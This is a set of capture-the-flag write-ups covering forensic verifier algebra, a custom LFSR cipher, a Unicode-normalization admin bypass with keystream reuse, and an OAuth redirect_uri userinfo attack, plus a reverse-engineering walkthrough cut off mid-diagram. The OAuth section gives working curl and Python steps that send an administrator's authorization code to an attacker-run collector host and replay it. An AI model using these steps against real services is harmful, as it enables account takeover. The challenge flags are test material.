The accepted session was identified as:

1
2
3
4
5
PID   = 4172
SID   = 9f0c17a4
kid   = 17
port  = 49152
route/tid = b7-31-9c

The exact CLOCK preimage was recovered as:

1
2026-08-23T03:16:58+05:30

The exact ROUTE preimage was:

1
b7-31-9c

Both were verified because hashing their exact representations produced the verifier’s expected digests.

The nearby timestamps 03:17:35 and 03:17:42 were therefore not used for CLOCK.

For the Forensic Fragments:

The accepted PID 4172 memory contained four important forensic fragments:

1
2
3
4
r0 → LEDGER
r1 → TRAPDOOR-
r2 → 4421
r3 → LAUNDRY-

These are labels, not the literal numeric values of r0, r1, r2, and r3.

The USN journal showed:

1
2
3
7f.tmp → r3.bin
a1.tmp → r1.bin
4c.tmp → r2.bin

followed by deletion.

This established the relationship between the deleted temporary files and the four committed values.

For the Commitment Values:

The verifier commits to four integer values using:

1
SHA256(str(int(value)))

The commitments supplied during the investigation were:

1
2
3
4
5
6
7
8
9
10
11
r0:
77d300a60bf738330be913fc309f1235ab483ddf9035649207db6c6b60beaa9d

r1:
6b856cbbf4a476e959b521cea53de6540bac51224363355a30d1d9e4d9e25e93

r2:
a2b9efb99896e8349475ea6689beafbb111b2721297e726cea8b502f4712309

r3:
2281499878b9c7791db67afed9d9da96de649305c7472f1ed42d4b33ac1d9722

An exhaustive search of all unsigned 32-bit values:

1
0 .. 4294967295

was performed for all four commitments.

The result was:

1
2
3
4
r0 → no 32-bit match
r1 → no 32-bit match
r2 → no 32-bit match
r3 → no 32-bit match

This established that the four values are derived/larger integers rather than simple PIDs, ports, timestamps, offsets, or other ordinary 32-bit values.

For the PCAP Reconstruction:

The accepted run contained:

1
2
3
sequence numbers 0..19
literal duplicate seq=3
truncated seq=19

There were exactly:

1
29 telemetry requests

with indices:

1
000..028

The accepted ciphertext material had exactly:

1
1131 bytes

which is:

1
29 × 39 = 1131

This exact 39-byte record structure was an important clue.

For the Fixed vs Old Capture:

Comparing the old and FIXED PCAPs showed:

  • telemetry was unchanged
  • accepted /mix ciphertexts changed in exactly 14 records
  • every changed 3-byte region had the same XOR delta:
1
8f b2 01

This was treated as a genuine structural differential introduced by the FIXED challenge.

Standard GCM/GHASH behavior did not explain this differential, so the reconstruction was treated as challenge-specific rather than as a normal AEAD decryption problem.

For the Proof Algebra:

The verifier uses the BN254 scalar field.

The investigation established that:

1
_commitment

and

1
_decode

cancel in the relevant verifier relation.

Likewise:

1
_calibrate

cancels.

The remaining residue is:

1
FIELD - 1 = -1 mod FIELD

Therefore, after assigning:

1
2
a = r0
b = r1

the proof condition simplifies to:

1
c × r3 ≡ r2 (mod FIELD)

so:

1
c = r2 × inverse(r3, FIELD) mod FIELD

The verifier then uses _order(c) / its lookup table based on:

1
c % 4

This eliminated the need to repeatedly solve the original proof equation.

For the Entry Matching:

The updated entry digest supplied by the verifier was:

1
e788bd5b995a57eebcaceb583cbcf0d7d9643097e5865143bc73437cdeab0eb9

The recovered answer/entry was:

1
VIOLET|LEDGER|SEVENTEEN|UNWOUND

The semantic clues line up with the recovered forensic labels:

1
LEDGER

and the challenge’s kid = 17 information, producing the final entry:

1
VIOLET|LEDGER|SEVENTEEN|UNWOUND

For the Final Encrypted Artifact:

The final artifact was:

1
2
nonce:
c17-final

Ciphertext:

1
aa82dbe96ecd172f744c7023e078b5ae3b0d2fb488e8e1e122ad0a128fbefbb4f5361113

Tag:

1
77d7b2c2396b03b348b0d2df42d5042d04169da7ce639fbb6136c67774295288

The verifier’s unlock-key construction is:

1
2
3
4
5
6
7
8
9
10
11
12
13
sha256(
    "heisenberg-final|" +
    canonical_json({
        "answer": answer,
        "clock": clock,
        "proof": {
            "a": a,
            "b": b,
            "c": c
        },
        "route": route
    })
)

The final stage was therefore treated as a challenge-specific construction rather than blindly assuming that the presence of a nonce and tag meant AES-GCM.

For the Solving Process Summary:

The overall investigation was:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
FIXED player (1).zip
        ↓
memory.raw
        ↓
accepted PID 4172
        ↓
LEDGER / TRAPDOOR- / 4421 / LAUNDRY-
        ↓
USN deleted-file relationships
        ↓
cook.pcapng
        ↓
29 × 39-byte accepted telemetry/ciphertext structure
        ↓
fixed-vs-old differential: 8f b2 01
        ↓
recover committed integer values
        ↓
verify SHA256(str(int(r)))
        ↓
a = r0
b = r1
c = r2 × inverse(r3) mod BN254
        ↓
_order(c)
        ↓
entry = VIOLET|LEDGER|SEVENTEEN|UNWOUND
        ↓
updated entry digest
        ↓
verifier acceptance
        ↓
unlock key
        ↓
final.enc
        ↓
CYS{violet_ledger_seventeen_unwound}

The key lesson is that the four commitments are not themselves reversible. The evidence has to be used to reconstruct the original integers, after which the commitment check is straightforward.

For the Final Answer:

1
2
3
VERIFIER: ACCEPTED
ENTRY = VIOLET|LEDGER|SEVENTEEN|UNWOUND
FLAG = CYS{violet_ledger_seventeen_unwound}

The final flag is:

1
CYS{violet_ledger_seventeen_unwound}

For the Attribution of the Investigation:

The initial verified facts in this writeup came from the challenge analysis supplied during the investigation: the accepted session, exact clock and route, forensic labels, USN mappings, commitment hashes, 32-bit brute-force result, PCAP structure, fixed-vs-old differential, verifier algebra, entry digest, and final encrypted artifact.

The purpose of documenting these supplied facts is to distinguish the actual evidence and observations from unsupported guesses about how an unreconstructed value was obtained.

Flag

CYS{violet_ledger_seventeen_unwound}

Heisenberg's Recipe

Heisenberg’s Recipe

Author: CTF Team

This is a cryptography and reverse-engineering CTF challenge based around a corrupted reactor terminal. The player is given only the README.txt file and the compiled reactor executable. The objective is to reverse engineer the executable, recover the encryption algorithm, and decrypt the encrypted production yield.

Challenge Setup

The README.txt provides the following important information:

  • The reactor was initialized with 0x1337.
  • The terminal contains an encrypted production yield.
  • The player is given the recovered reactor executable.

The supplied package does not contain the original C++ source or the decryption script, so the intended approach is to reverse engineer the executable.

Reverse Engineering the Binary

First, inspect the executable using standard reverse-engineering tools such as:

  • strings
  • objdump
  • Ghidra
  • IDA
  • Binary Ninja
  • A debugger such as gdb

The binary prints the reactor state and the encrypted yield when executed.

The important runtime values are:

1
2
3
REACTOR STATUS: RECOVERED
INITIAL STATE: 0x1337
ENCRYPTED YIELD: ac0b2aa6c79c07ec7bb50af1e65374e0c367420542e596921950a0a14ea7343736d8798f2bc5a45ab6

The binary also contains a reactor class with three important pieces of logic:

  1. A 16-bit state transition.
  2. A 256-byte substitution table.
  3. A rolling 8-bit pressure value.

1. Recovering the State Transition

The reactor maintains a 16-bit state called reactor_temp.

The state transition is:

1
2
3
4
bit = ((state >> 15) ^ (state >> 13) ^
       (state >> 12) ^ (state >> 10)) & 1

state = ((state << 1) & 0xffff) | bit

This is an LFSR-style operation.

Two state transitions are performed for every encrypted output byte:

1
2
state = step(state)
state = step(state)

The initial state is:

1
0x1337

Therefore, the state must be advanced twice before processing each ciphertext byte.

2. Recovering the Substitution Table

The binary initializes a 256-byte table using:

1
S[i] = (151 * i + 73) mod 256

Since 151 is relatively prime to 256, this creates a permutation of all 256 byte values.

Therefore, the inverse substitution table can be constructed:

1
2
3
for i in range(256):
    S[i] = (151 * i + 73) % 256
    inverse_S[S[i]] = i

This inverse table is required because the encryption process applies the substitution in the forward direction.

3. Recovering the Rolling Pressure Value

The reactor starts with:

1
pressure = 0x42

For every ciphertext byte, the pressure value is updated after the byte is processed.

The update equation recovered from the executable is:

1
2
pressure = (pressure + ciphertext_byte ^
            (state & 0xff)) & 0xff

Because the pressure value depends on the previous ciphertext byte and the current reactor state, the decryption must be performed sequentially from the first byte to the last.

4. Reversing the Encryption

The encryption function can be represented as:

1
2
3
4
5
6
7
8
9
10
11
diffuse_heat()
diffuse_heat()

thermal_layer = (reactor_temp >> 8) & 0xff

reacted = S[(raw_material ^ pressure) & 0xff]

yield_product = reacted ^ thermal_layer

pressure = (pressure + yield_product ^
            (reactor_temp & 0xff)) & 0xff

The ciphertext is yield_product.

To recover raw_material, reverse these operations in the opposite order.

First remove the thermal layer:

1
mixed = ciphertext_byte ^ thermal_layer

Then apply the inverse S-box:

1
raw_xor_pressure = inverse_S[mixed]

Finally remove the pressure value:

1
raw_material = raw_xor_pressure ^ pressure

The recovered byte is then converted to a character.

Decryption Procedure

The complete decryption process is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ciphertext = bytes.fromhex(encrypted_yield)

state = 0x1337
pressure = 0x42

for cipher_byte in ciphertext:

    state = lfsr_step(state)
    state = lfsr_step(state)

    thermal_layer = (state >> 8) & 0xff

    mixed = cipher_byte ^ thermal_layer

    raw_xor_pressure = inverse_S[mixed]

    raw_material = raw_xor_pressure ^ pressure

    output raw_material

    pressure = (pressure + cipher_byte ^
                (state & 0xff)) & 0xff

A Python solver implementing the recovered algorithm is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def gen_inverse_sbox():
    sbox = [(151 * i + 73) % 256 for i in range(256)]
    inv_sbox = [0] * 256

    for i, value in enumerate(sbox):
        inv_sbox[value] = i

    return inv_sbox


def lfsr_step(state):
    bit = ((state >> 15) ^ (state >> 13) ^
           (state >> 12) ^ (state >> 10)) & 1

    return ((state << 1) & 0xFFFF) | bit


def decrypt_batch(hex_cipher, initial_state):
    ciphertext = bytes.fromhex(hex_cipher)
    inverse_sbox = gen_inverse_sbox()

    state = initial_state & 0xFFFF
    pressure = 0x42
    plaintext = []

    for cipher_byte in ciphertext:
        state = lfsr_step(state)
        state = lfsr_step(state)

        thermal_layer = (state >> 8) & 0xFF

        mixed = cipher_byte ^ thermal_layer
        raw_xor_pressure = inverse_sbox[mixed]
        raw_material = raw_xor_pressure ^ pressure

        plaintext.append(chr(raw_material))

        pressure = (
            pressure + cipher_byte ^ (state & 0xFF)
        ) & 0xFF

    return "".join(plaintext)


encrypted = (
    "ac0b2aa6c79c07ec7bb50af1e65374e0c367420542e596921950a0a14"
    "ea7343736d8798f2bc5a45ab6"
)

print(decrypt_batch(encrypted, 0x1337))

Flag

Running the recovered decryption algorithm produces:

1
CYS{99.6_p3rc3nt_pur3_meth_lfsr_c4t4lyst}

Therefore, the flag is:

1
CYS{99.6_p3rc3nt_pur3_meth_lfsr_c4t4lyst}

Conclusion

The challenge combines reverse engineering with custom byte-level cryptography.

The key observations are:

  • The initial 16-bit state is 0x1337.
  • The reactor uses an LFSR-style state transition.
  • The state advances twice per ciphertext byte.
  • A 256-byte affine S-box is generated using (151 * i + 73) % 256.
  • The S-box must be inverted during decryption.
  • An 8-bit rolling pressure value starts at 0x42.
  • The encrypted yield is reversed byte-by-byte using the recovered state, inverse S-box, and rolling pressure value.

Once these operations are reconstructed from the binary, the encrypted production yield can be completely decrypted and the flag recovered.

Flag

CYS{99.6_p3rc3nt_pur3_meth_lfsr_c4t4lyst}

Heisenberg's Vault

Heisenberg’s Vault

Madrigal Security has detected unusual activity inside one of its secure facilities.

An operator has access to the internal security portal, but their clearance is insufficient to access the highly classified vault.

The challenge combines two vulnerabilities:

  1. Web authorization bypass through Unicode normalization
  2. Cryptographic keystream reuse

The intended solution is to first escalate from a normal operator to an administrator, then use information exposed by the diagnostic endpoint to recover the vault’s encrypted flag.


1. Initial Access

The challenge begins at the Madrigal Security login portal.

The provided credentials are:

1
2
Username: madrigal_047
Password: LosPollos47

After logging in, the player receives a normal user/operator authentication token.

The dashboard displays:

1
Role: user

The application uses the following token format:

1
username.timestamp.role.signature

For example:

1
madrigal_047.1750000000.u.<HMAC>

The role is represented internally using:

  • u = user
  • a = admin

2. Enumerating the Application

The dashboard exposes several API endpoints:

1
2
3
4
5
6
/api/status
/api/profile
/api/token-info
/api/token
/api/diagnostic
/api/vault

The first useful endpoint is:

1
/api/token-info

It reveals information about the token format:

1
2
3
4
5
6
7
8
9
{
    "format": "username.timestamp.role.signature",
    "algorithm": "HMAC-SHA256",
    "role_encoding": {
        "u": "operator",
        "a": "administrator"
    },
    "normalization": "enabled"
}

The important clue is:

1
"normalization": "enabled"

This suggests that the application’s handling of role values may be worth investigating.


3. Investigating the Clearance Endpoint

The next interesting endpoint is:

1
POST /api/token

A normal request looks like:

1
2
3
4
5
6
POST /api/token
Content-Type: application/json

{
    "role": "user"
}

Trying the obvious privilege escalation:

1
2
3
{
    "role": "admin"
}

results in:

1
403 Forbidden

The application responds with an error such as:

1
CLEARANCE REQUEST REJECTED.

At first glance, the endpoint appears secure. However, the source code reveals an important flaw.


4. Unicode Normalization Vulnerability

The application checks the requested role before performing Unicode normalization:

1
2
3
4
5
6
7
8
9
if requested_role == "admin":
    return jsonify({
        "error": "CLEARANCE REQUEST REJECTED."
    }), 403

canonical_role = unicodedata.normalize(
    "NFKC",
    requested_role
)

This creates a mismatch between:

  • Security Check: requested_role
  • Value Used by the Application: canonical_role

The application first checks whether the original value is literally admin. It then normalizes the value using NFKC.

Unicode NFKC normalization converts compatibility characters into their canonical equivalents. For example:

1
admin  →  admin

5. Exploiting the Normalization

Instead of sending:

1
2
3
{
    "role": "admin"
}

the player sends:

1
2
3
{
    "role": "admin"
}

The server first evaluates:

1
requested_role == "admin"

This evaluates to False, because admin is not literally the ASCII string admin. The request therefore passes the blacklist.

The application then performs:

1
unicodedata.normalize("NFKC", requested_role)

which produces admin. The application subsequently creates a token using admin as the role.


6. Why the HMAC Does Not Save the Application

The token uses HMAC-SHA256, so it may initially appear impossible to forge. However, the player does not need to forge the HMAC.

The vulnerable /api/token endpoint generates a valid HMAC-signed token itself.

The process is effectively:

1
2
3
4
5
6
7
8
9
10
11
12
13
Attacker input
      ↓
admin
      ↓
NFKC normalization
      ↓
admin
      ↓
create_token()
      ↓
valid HMAC
      ↓
administrator token

Therefore, the cryptographic integrity of the token is not directly broken. The problem is the authorization logic that decides what gets signed.


7. Obtaining Administrator Access

The response from /api/token contains the newly generated token.

Once the token is used as the authentication cookie, the application recognizes the player as:

1
role = admin

The previously inaccessible endpoint /api/vault now returns the encrypted vault payload.

Conceptually:

1
2
3
4
5
6
7
8
{
    "service": "Madrigal Secure Vault",
    "classification": "HEISENBERG",
    "version": "3.0",
    "cipher": "VX-CTR",
    "nonce": "U1RBVElDLU5PTkNFLTIwMjY=",
    "payload": "azb3WqQl..."
}

At this point, the web portion of the challenge is complete.


8. Investigating the Cryptography

The player can now access:

1
/api/diagnostic

This endpoint exposes diagnostic information about the cryptographic system:

1
2
3
4
Cipher: VX-CTR
Nonce: STATIC-NONCE-2026
Message: <known plaintext>
Payload: <known ciphertext>

The known plaintext is:

1
MADRIGAL SECURITY NOTICE: SUPERLAB SYSTEMS OPERATIONAL; ALL PERSONNEL MUST MAINTAIN CURRENT CLEARANCE; VAULT MONITORING ACTIVE

The corresponding known ciphertext is:

1
YDvyT5YKbx09Z7dJUqJq2b4rB9lUGVqTG0poXF8OxtcfF+L1uoHZ85ZwRzblGgeAPGxVD0F3saC2AQqP+HoH5A2JxB2yTIWevY2C/whqgsGPtTjQ9/GHgjUDSWOxJ4Mtr3JxRIYvc4l3NByWJ1OokepH00g+oQo4dVsYBLvW

The vault ciphertext is:

1
azb3WqQlSzhuUZxoYoJE0pBqOsluP22JVQJeVmAl+OIBOqzDvLD/07pIDhfSADegDFg=

9. Understanding the Cipher

The implementation uses a custom XOR-based construction. Conceptually:

1
Ciphertext = Plaintext XOR Keystream

The keystream is generated using:

1
HMAC-SHA256 + static nonce + counter

The critical weakness is that the same keystream is reused. This creates the classic problem associated with reusing a one-time pad or stream-cipher keystream.

For the known plaintext P_known and known ciphertext C_known, we have:

1
C_known = P_known XOR K

Therefore:

1
K = P_known XOR C_known

The attacker can recover the keystream without knowing the secret key.


10. Recovering the Keystream

First, decode the Base64 ciphertext:

1
known_ciphertext = base64.b64decode(KNOWN_CIPHERTEXT)

Convert the known plaintext into bytes:

1
known_plaintext = KNOWN_MESSAGE.encode()

Then XOR the two:

1
2
3
4
5
6
7
keystream = bytes(
    a ^ b
    for a, b in zip(
        known_plaintext,
        known_ciphertext
    )
)

This recovers the portion of the keystream corresponding to the known message.


11. Decrypting the Flag

The vault ciphertext is also Base64 encoded. Decode it:

1
2
3
flag_ciphertext = base64.b64decode(
    FLAG_CIPHERTEXT
)

Then XOR it with the recovered keystream:

1
2
3
4
5
6
7
flag = bytes(
    a ^ b
    for a, b in zip(
        flag_ciphertext,
        keystream
    )
)

Finally:

1
print(flag.decode())

produces:

1
FLAG{heisenberg_was_not_the_only_one_breaking_bad}

12. Complete Solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import base64

KNOWN_MESSAGE = (
    "MADRIGAL SECURITY NOTICE: SUPERLAB SYSTEMS OPERATIONAL; "
    "ALL PERSONNEL MUST MAINTAIN CURRENT CLEARANCE; "
    "VAULT MONITORING ACTIVE"
)

KNOWN_CIPHERTEXT = (
    "YDvyT5YKbx09Z7dJUqJq2b4rB9lUGVqTG0poXF8OxtcfF+L1uoHZ85ZwRzblGgeAPGxVD0F3saC2AQqP+HoH5A2JxB2yTIWevY2C/whqgsGPtTjQ9/GHgjUDSWOxJ4Mtr3JxRIYvc4l3NByWJ1OokepH00g+oQo4dVsYBLvW"
)

FLAG_CIPHERTEXT = (
    "azb3WqQlSzhuUZxoYoJE0pBqOsluP22JVQJeVmAl+OIBOqzDvLD/07pIDhfSADegDFg="
)

known_plaintext = KNOWN_MESSAGE.encode()

known_ciphertext = base64.b64decode(
    KNOWN_CIPHERTEXT
)

flag_ciphertext = base64.b64decode(
    FLAG_CIPHERTEXT
)

keystream = bytes(
    p ^ c
    for p, c in zip(
        known_plaintext,
        known_ciphertext
    )
)

flag = bytes(
    c ^ k
    for c, k in zip(
        flag_ciphertext,
        keystream
    )
)

print(flag.decode())

Output:

1
FLAG{heisenberg_was_not_the_only_one_breaking_bad}

13. Full Attack Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
HEISENBERG'S VAULT
        │
        ▼
Login as operator
        │
        ▼
Explore API endpoints
        │
        ▼
/api/token-info
        │
        ▼
Discover role normalization
        │
        ▼
Try normal "admin" → 403
        │
        ▼
Send Unicode full-width role
"admin"
        │
        ▼
NFKC normalization
        │
        ▼
"admin"
        │
        ▼
Server signs administrator token
        │
        ▼
Access /api/vault
        │
        ▼
Obtain flag ciphertext
        │
        ▼
Access /api/diagnostic
        │
        ▼
Obtain known plaintext
and known ciphertext
        │
        ▼
Known Plaintext XOR Ciphertext
        │
        ▼
Recover keystream
        │
        ▼
Flag Ciphertext XOR Keystream
        │
        ▼
FLAG{heisenberg_was_not_the_only_one_breaking_bad}

14. Vulnerabilities Used

Vulnerability 1 — Improper Unicode Canonicalization

Root Cause

The application validates the raw input before normalizing it:

1
if requested_role == "admin":

followed by:

1
2
3
4
canonical_role = unicodedata.normalize(
    "NFKC",
    requested_role
)

Correct Design

Normalization should happen before authorization:

1
2
3
4
5
6
7
canonical_role = unicodedata.normalize(
    "NFKC",
    requested_role
)

if canonical_role == "admin":
    ...

Even better, authorization should be based on server-controlled roles rather than accepting a role from an untrusted client.

Vulnerability 2 — Keystream Reuse

The encryption follows:

1
C = P XOR K

The same K is reused for multiple messages.

Once P_known and C_known are available:

1
K = P_known XOR C_known

The attacker can then decrypt another ciphertext encrypted with the same keystream.

Correct Design

A stream cipher or CTR-style construction should use a unique nonce/IV for every encryption operation. Never reuse the same keystream for different plaintexts.


15. Why SQL Injection Is Not Part of the Intended Solution

The login query uses parameterized SQL:

1
2
3
4
5
6
7
8
conn.execute(
    """
    SELECT id, username, role
    FROM users
    WHERE username = ? AND password = ?
    """,
    (username, password)
)

The ? placeholders prevent normal SQL injection through the login fields. Therefore, SQL injection is not an intended attack path.

The challenge is designed around a controlled exploitation chain rather than unrelated vulnerabilities.


16. Why the HMAC Is Not Broken

The HMAC implementation itself is not the intended weakness.

The attacker never needs to calculate:

1
HMAC(secret, malicious_data)

Instead, the application calculates it for them. The problem is:

1
2
3
4
5
6
7
Untrusted role
      ↓
Normalization
      ↓
Token generation
      ↓
HMAC signing

The server is effectively signing an attacker-controlled authorization decision.

Therefore: the cryptographic primitive is functioning correctly; the authorization logic around it is not.


17. Intended Learning Outcomes

Web Security

  • Authentication vs authorization
  • Role-based access control
  • Unicode canonicalization
  • Input normalization
  • Privilege escalation
  • Why signing bad data does not make an authorization decision secure

Cryptography

  • XOR properties
  • Stream-cipher concepts
  • Keystreams
  • Known-plaintext attacks
  • Nonce reuse
  • Why a secure primitive can become insecure through incorrect implementation

18. Final Flag

1
FLAG{heisenberg_was_not_the_only_one_breaking_bad}

Challenge lesson: The system didn’t need to be hacked in the traditional sense. It trusted the wrong representation of the user’s clearance, then reused cryptographic material in a way that exposed the encrypted secret.

Flag

FLAG{heisenberg_was_not_the_only_one_breaking_bad}

Better Call Back

Better Call Back

Author: KuantumKnight

Better Call Back is a Web challenge based on an OAuth/SSO callback interception chain.

The goal is to access Madrigal Logistics’ restricted regional shipment manifest at:

1
/admin/manifest

The intended solution is not to forge an administrator session or crack a token. Instead, the challenge requires abusing a weak OAuth redirect_uri validation rule together with the portal’s privileged reviewer channel to obtain a legitimate OAuth authorization code issued for the regional administrator.

Reconnaissance

The main application is the Madrigal Logistics supplier portal.

Useful endpoints include:

1
2
3
4
5
6
/                  Public operations board
/login             Starts the SSO login flow
/admin/manifest    Restricted administrator manifest
/legacy-admin      Deprecated administrator console
/report            Reviewer / trust-and-safety channel
/callback-receiver Redirects to the supplied callback collector

The homepage also exposes several useful hints:

1
2
3
reviewer channel: standing by
Session: guest
Manifest: LOCKED

Checking robots.txt reveals the deprecated /legacy-admin endpoint, but the important attack surface is the SSO flow.

The identity provider is hosted separately and exposes:

1
2
3
4
/login
/authorize
/token
/logout

The login page provides demo credentials:

1
2
Username: employee
Password: employee

Understanding the Normal OAuth Flow

A normal login looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
User
  |
  v
Portal /login
  |
  | generates state
  v
IDP /authorize
  |
  | authenticates user
  | creates signed authorization code
  v
Portal /callback?code=...&state=...
  |
  | validates state
  | exchanges code at /token
  v
Authenticated portal session

For the demo employee account, the authorization code represents:

1
2
3
4
5
{
  "client_id": "supplier-portal",
  "user": "employee",
  "role": "user"
}

The portal then creates a session similar to:

1
2
3
4
{
  "user": "employee",
  "role": "user"
}

This is not enough to access /admin/manifest.

Vulnerability 1 — Weak redirect_uri Validation

The identity provider validates the OAuth redirect_uri, but the check is not strict enough.

The expected callback is:

1
https://portal-rouge-delta.vercel.app/callback

However, a URL using the @ userinfo syntax is also accepted:

1
https://[email protected]/collect?box=MAILBOX_ID

This is significant because URL parsers interpret:

1
https://user@host/path

as:

1
2
userinfo = user
host     = host

Therefore, in the malicious URL:

1
https://[email protected]/...

the real destination host is:

1
collector-hazel-five.vercel.app

The string portal-rouge-delta.vercel.app is only the userinfo portion.

The identity provider’s validation sees the trusted portal hostname inside the supplied URL and accepts it, but the OAuth code is actually delivered to the collector.

A basic proof can be performed after logging into the IDP:

1
2
3
curl -c cookies.txt -X POST \
  https://idp-psi.vercel.app/login \
  -d "username=employee&password=employee"

Then request authorization using the crafted redirect:

1
2
curl -b cookies.txt -D - \
  "https://idp-psi.vercel.app/authorize?client_id=supplier-portal&redirect_uri=https://[email protected]/collect?box=TESTBOX&state=test"

The IDP responds with a redirect similar to:

1
Location: https://[email protected]/collect?box=TESTBOX&code=...&state=test

The actual HTTP destination is the collector.

Vulnerability 2 — Privileged Reviewer Channel

The portal contains a report endpoint:

1
/report

It is presented as a trust-and-safety or reviewer channel for malformed SSO URLs.

The important behavior is that submitted links are inspected by an authenticated regional reviewer.

That reviewer is logged into the identity provider as:

1
2
user: regional.admin
role: admin

This means that if the reviewer visits an OAuth authorization URL containing the vulnerable redirect_uri, the IDP generates a legitimate authorization code for the administrator and redirects that code to the attacker’s callback mailbox.

The reviewer therefore becomes the privileged browser required to complete the exploit chain.

Exploitation

Step 1 — Create a Callback Mailbox

The supplied collector can create temporary callback mailboxes.

1
curl "https://collector-hazel-five.vercel.app/new?view=1"

Example mailbox:

1
eff745a493b3633b

Its callback endpoint is:

1
https://collector-hazel-five.vercel.app/collect?box=eff745a493b3633b

Step 2 — Build the Malicious Authorization URL

Use the userinfo-based redirect_uri bypass:

1
https://idp-psi.vercel.app/authorize?client_id=supplier-portal&redirect_uri=https://[email protected]/collect?box=eff745a493b3633b&state=success_test

Although the URL contains the legitimate portal hostname, the actual callback destination is the collector.

Step 3 — Send the URL to the Reviewer

Submit the crafted URL through /report:

1
2
3
curl -X POST \
  https://portal-rouge-delta.vercel.app/report \
  --data-urlencode "url=https://idp-psi.vercel.app/authorize?client_id=supplier-portal&redirect_uri=https://[email protected]/collect?box=eff745a493b3633b&state=success_test"

The application responds that an authenticated regional reviewer inspected the link.

Step 4 — Read the Captured Callback

Query the callback mailbox:

1
2
curl \
  https://collector-hazel-five.vercel.app/mailbox/eff745a493b3633b

A successful exploit returns something similar to:

1
2
3
4
5
6
[
  {
    "code": "eyJjbGllbnRfaWQiOiJzdXBwbGllci1wb3J0YWwiLCJ1c2VyIjoicmVnaW9uYWwuYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.apW1ng.bBxnFPstrdQAnkM4BH_FjaH3Uxw",
    "state": "success_test"
  }
]

Decoding the authorization code payload shows:

1
2
3
4
5
{
  "client_id": "supplier-portal",
  "user": "regional.admin",
  "role": "admin"
}

The code is genuine and correctly signed by the identity provider.

The weakness is not token forgery.

The weakness is that a valid administrator code was delivered to an attacker-controlled callback.

Step 5 — Obtain a Valid Portal OAuth State

The portal still validates the OAuth state value during /callback.

Create a fresh portal session and begin a normal login:

1
2
3
4
5
6
7
8
9
10
import requests

session = requests.Session()

resp = session.get(
    "https://portal-rouge-delta.vercel.app/login",
    allow_redirects=False
)

state = resp.headers["Location"].split("state=")[1]

The session now contains the matching OAuth state.

Step 6 — Replay the Captured Admin Code

Use the stolen administrator authorization code with the fresh valid portal state:

1
2
3
4
5
6
7
8
9
admin_code = "CAPTURED_ADMIN_CODE"

session.get(
    "https://portal-rouge-delta.vercel.app/callback",
    params={
        "code": admin_code,
        "state": state
    }
)

The portal exchanges the code with the IDP and creates:

1
2
3
4
{
  "user": "regional.admin",
  "role": "admin"
}

Step 7 — Access the Restricted Manifest

The administrator-only endpoint can now be requested:

1
2
3
4
5
resp = session.get(
    "https://portal-rouge-delta.vercel.app/admin/manifest"
)

print(resp.text)

The manifest is returned successfully and contains the flag.

Flag

1
CYS{C4LLB4CKS_D0NT_PR0V3_1D3NT1TY}

Root Cause

The challenge is built around a three-part authentication failure.

1. Improper OAuth Redirect URI Validation

The IDP does not compare the callback against an exact allowlisted URI.

Instead, its validation can be bypassed using URL userinfo syntax:

1
trusted-host@attacker-host

This allows an authorization code to leave the trusted origin.

2. Privileged Reviewer as an OAuth Oracle

The /report functionality causes a privileged, authenticated reviewer to visit attacker-controlled authorization URLs.

Because the reviewer already possesses an administrator IDP session, the attacker can cause the IDP to generate an administrator OAuth code.

3. Authorization Code Possession Is Treated as Authentication

The portal correctly verifies the signed code through the token endpoint, but it has no way to distinguish between:

1
a code legitimately delivered to the portal

and:

1
a legitimate code intercepted through a malicious redirect

The authorization code is cryptographically valid, but the delivery path is compromised.

Intended Vulnerability Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Weak redirect_uri validation
        |
        v
Attacker-controlled callback
        |
        v
Privileged reviewer visits OAuth URL
        |
        v
IDP issues legitimate admin code
        |
        v
Admin code captured by attacker
        |
        v
Fresh portal OAuth state obtained
        |
        v
Captured code replayed to /callback
        |
        v
Portal creates admin session
        |
        v
/admin/manifest
        |
        v
FLAG

Security Takeaways

The main lesson of the challenge is reflected in the flag:

1
CALLBACKS DON'T PROVE IDENTITY

OAuth authorization codes must only be delivered to strictly registered callback URIs.

A secure implementation should:

  • perform exact redirect URI matching against a server-side allowlist;
  • reject URLs containing unexpected userinfo components;
  • avoid substring or prefix-based hostname validation;
  • treat privileged link-review systems as security-sensitive browser automation;
  • bind authorization requests as tightly as possible to the initiating client;
  • use PKCE where applicable so interception of an authorization code alone is insufficient.

Signed tokens protect against forgery.

They do not protect against a valid token or authorization code being delivered to the wrong party.

Flag

CYS{C4LLB4CKS_D0NT_PR0V3_1D3NT1TY}

HOLA AMIGOS

HOLA AMIGOS

Author : Anirudh

Challenge Overview

The program asks for two values:

1
2
Enter shipment ID:
Enter batch number:

The objective is to reverse engineer the executable, determine the correct inputs, and recover the flag.

The correct values are:

1
2
Shipment ID: 67
Batch Number: 40

The final flag is:

1
CYS{you_godamn_wright!}

1. Initial Reconnaissance

Open hola_amigos.exe in Ghidra.

Create a new project, import the executable, and allow Ghidra to perform its default analysis.

Open:

Window -> Defined Strings

You will find only a few useful strings:

1
2
3
4
5
6
HOLA AMIGOS
SECURE SYSTEM
Enter shipment ID:
Enter batch number:
STATUS: 1
STATUS: 0

There is no plaintext flag.

This means searching for CYS{ will not immediately reveal anything.


2. Start at main()

Open the main function in the decompiler.

The program reads two integers:

1
2
int shipmentID;
int batchNumber;

These values are passed through several functions.

Because the binary has been stripped of useful symbols, Ghidra may give the functions generic names such as:

1
2
3
FUN_140001230
FUN_140001410
FUN_1400016A0

Rename them as you understand their purpose. This makes following the program much easier.

The important data flow is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Shipment ID
     |
     v
First transformation
